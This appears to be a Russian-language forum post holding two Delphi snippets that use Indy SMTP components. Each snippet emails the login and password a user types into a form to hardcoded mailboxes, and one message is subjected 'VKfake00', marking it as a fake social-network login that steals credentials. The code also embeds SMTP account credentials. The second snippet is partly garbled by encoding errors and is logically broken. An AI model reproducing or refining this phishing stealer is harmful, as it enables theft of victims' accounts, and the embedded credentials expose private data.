Отправка письма на почту

procedure TForm1.Button1Click(Sender: TObject);
var
data,s,e:string;
begin
idSmtp1.Host:='smtp.mail.ru';
idSmtp1.Port:=465;
idSmtp1.Username:='krekhov00@mail.ru';
idSmtp1.Password:='пароль от почты';
idMessage1.Body.Text:='Логин/'+Edit1.text+'Пароль/'+Edit2.Text;
idMessage1.From.Text:='krekhov00@mail.ru';
idMessage1.Recipients.EMailAddresses:='mister_q00@mail.ru';
idMessage1.Subject:='VKfake00';
 
idSmtp1.Connect();
if idSmtp1.Connected=true then
idSmtp1.Send(idMessage1);
idSmtp1.Disconnect;
end;
 
end.

unit Unit1;
 
interface
 
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection,
  IdTCPClient, IdMessageClient, IdSMTP, XPMan, IdMessage, IdAntiFreezeBase,
  IdAntiFreeze, IdHTTP, IdIOHandler, IdIOHandlerSocket, IdSSLOpenSSL,
  IdServerIOHandler;
 
type
  TForm1 = class(TForm)
    IdSMTP1: TIdSMTP;
    Edit1: TEdit;
    Edit2: TEdit;
    Button1: TButton;
    IdMessage1: TIdMessage;
    XPManifest1: TXPManifest;
    Memo1: TMemo;
    IdAntiFreeze1: TIdAntiFreeze;
    IdSSLIOHandlerSocket1: TIdSSLIOHandlerSocket;
    IdServerIOHandlerSSL1: TIdServerIOHandlerSSL;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
 
var
  Form1: TForm1;
 
implementation
 
{$R *.dfm}
 
procedure TForm1.Button1Click(Sender: TObject);
begin
idSSLIOHandlerSocket1.SSLOptions.Method:=sslvTLSv1;
//
idSMTP1:=TIdSMTP.Create(nil);
//
idSmtp1.Host:='smtp.rambler.ru';
idSmtp1.Port:=456;
idSmtp1.Username:='krekhova@rambler.ru';
idSmtp1.Password:='rambler228323';
idSmtp1.IOHandler:=idSSLIOHandlerSocket1;
idSmtp1.HeloName:=('HelloName');
idSmtp1.ReadTimeout:=15000;
//
idMessage1.From.Text:='krekhov00@mail.ru';
idMessage1.Recipients.EMailAddresses:='artemachq@yandex.ru';
IdMessage1.CharSet:='koi8-r';
//
if idSmtp1.Connected=true then
begin
idMessage1.Clear;
idMessage1.From.Address:=idSmtp1.Username;
idMessage1.Recipients.EMailAddresses:=idSmtp1.Username;
idMessage1.Subject:='1111';
idMessage1.Body.Text:='Ëîãèí/'+Edit1.text+'Ïàðîëü/'+Edit2.Text;
idSmtp1.Send(idMessage1);
end
else
begin
idSmtp1.Disconnect;
end;
 
end;
 
end.